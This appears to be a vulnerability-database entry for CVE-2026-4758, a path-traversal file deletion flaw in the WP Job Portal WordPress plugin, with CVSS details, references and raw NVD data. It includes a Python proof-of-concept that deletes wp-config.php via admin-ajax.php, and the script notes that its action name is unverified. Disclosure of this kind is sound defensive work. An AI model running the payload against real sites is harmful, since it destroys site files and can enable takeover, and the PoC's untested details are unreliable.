Security Vulnerability Report
中文
CVE-2026-4758 CVSS 8.8 HIGH

CVE-2026-4758

Published: 2026-03-26 00:16:42
Last Modified: 2026-04-24 16:35:20

Description

The WP Job Portal plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'WPJOBPORTALcustomfields::removeFileCustom' function in all versions up to, and including, 2.4.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Job Portal <= 2.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Authenticate and get cookies session = requests.Session() login_data = { 'log': username, 'pwd': password, 'redirect_to': '', 'wp-submit': 'Log In' } # Note: Login URL might differ, this is a generic example session.post("http://example.com/wp-login.php", data=login_data) # 2. Exploit Arbitrary File Deletion # The payload attempts to delete wp-config.php using path traversal exploit_data = { 'action': 'wpjobportal_ajax_handler', # Action name needs verification based on plugin hooks 'task': 'removeFileCustom', 'path': '../../../wp-config.php' # Path traversal payload } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Request sent successfully. Check if file is deleted.") else: print("[-] Failed to send request.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4758", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:41.570", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Job Portal plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'WPJOBPORTALcustomfields::removeFileCustom' function in all versions up to, and including, 2.4.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php)."}, {"lang": "es", "value": "El plugin WP Job Portal para WordPress es vulnerable a la eliminación arbitraria de archivos debido a una validación insuficiente de la ruta de archivo en la función 'WPJOBPORTALcustomfields::removeFileCustom' en todas las versiones hasta la 2.4.9, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor o superior, eliminen archivos arbitrarios en el servidor, lo que puede conducir fácilmente a la ejecución remota de código cuando se elimina el archivo correcto (como wp-config.php)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.4.9/includes/classes/customfields.php#L1558", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.5.0/includes/classes/customfields.php?rev=3490490#L1558", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e96f31e0-4b2e-4ea1-a3e5-fd7452a2fea9?source=cve", "source": "[email protected]"}]}}